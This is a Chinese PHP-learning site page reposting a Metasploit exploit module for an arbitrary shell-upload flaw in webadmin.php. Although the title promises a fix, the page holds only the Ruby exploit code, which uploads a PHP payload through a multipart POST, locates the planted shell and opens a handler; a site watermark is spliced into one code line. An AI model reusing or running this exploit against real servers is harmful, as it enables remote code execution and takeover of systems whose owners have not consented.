网站地图    收藏   

主页 > 后端 > 网站安全 >

webadmin <= Shell上传缺陷及修复 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 标题: webadmin = Shell Upload Vulnerability (MSF)作者: Caddy-Dz www.2cto.com下载地址: http://wacker-welt.de/webadmin/webadmin.php.gzrequire #39;msf/core#39;class Metasploit3 Msf:......

标题: webadmin <= Shell Upload Vulnerability (MSF)
作者: Caddy-Dz www.2cto.com
下载地址: http://wacker-welt.de/webadmin/webadmin.php.gz
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'webadmin <= Shell Upload Vulnerability',
            'Description'    => %q{
            This module exploits an arbitrary shell upload vulnerability in
            the webadmin.php
            },
            'Author'         => [ 'Caddy-Dz' ],
   'License'        => MSF_LICENSE,
            'References'     => ["http://wacker-welt.de/webadmin/webadmin.php.gz" ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Sept 13, 2011'
            ))
 
        register_options([
                OptString.new('URI', [true, "Path to webadmin ", "/"]),
            ], self.class)
    end
 
    def exploit
        boundary = rand_text_alphanumeric(6)
        fn = rand_text_alphanumeric(8)
        data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
        data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"
        data << payload.encoded
        data << "\r\n--#{boundary}--"
 
        res = send_request_raw({
            'uri'     => datastore['URI'] + "/webadmin.php",
            'method'  => 'POST',
            'data'    => data,
            'headers' =>
            {
                'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
                'Content-Length' => data.length,
            }
        }, 25)
 
        if (res)
            www.2cto.com print_status("Successfully uploaded shell.")
            shell_path = res.body.split("_")[0]
            print_status("Trying to access shell at #{shell_path}...")
            res = send_request_raw({
                'uri'     => datastore['URI'] + shell_path,
                'method'  => 'GET',
            }, 0.01)
 
        else
            print_error("Error uploading shell")
        end
 
        handler
    end
end
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论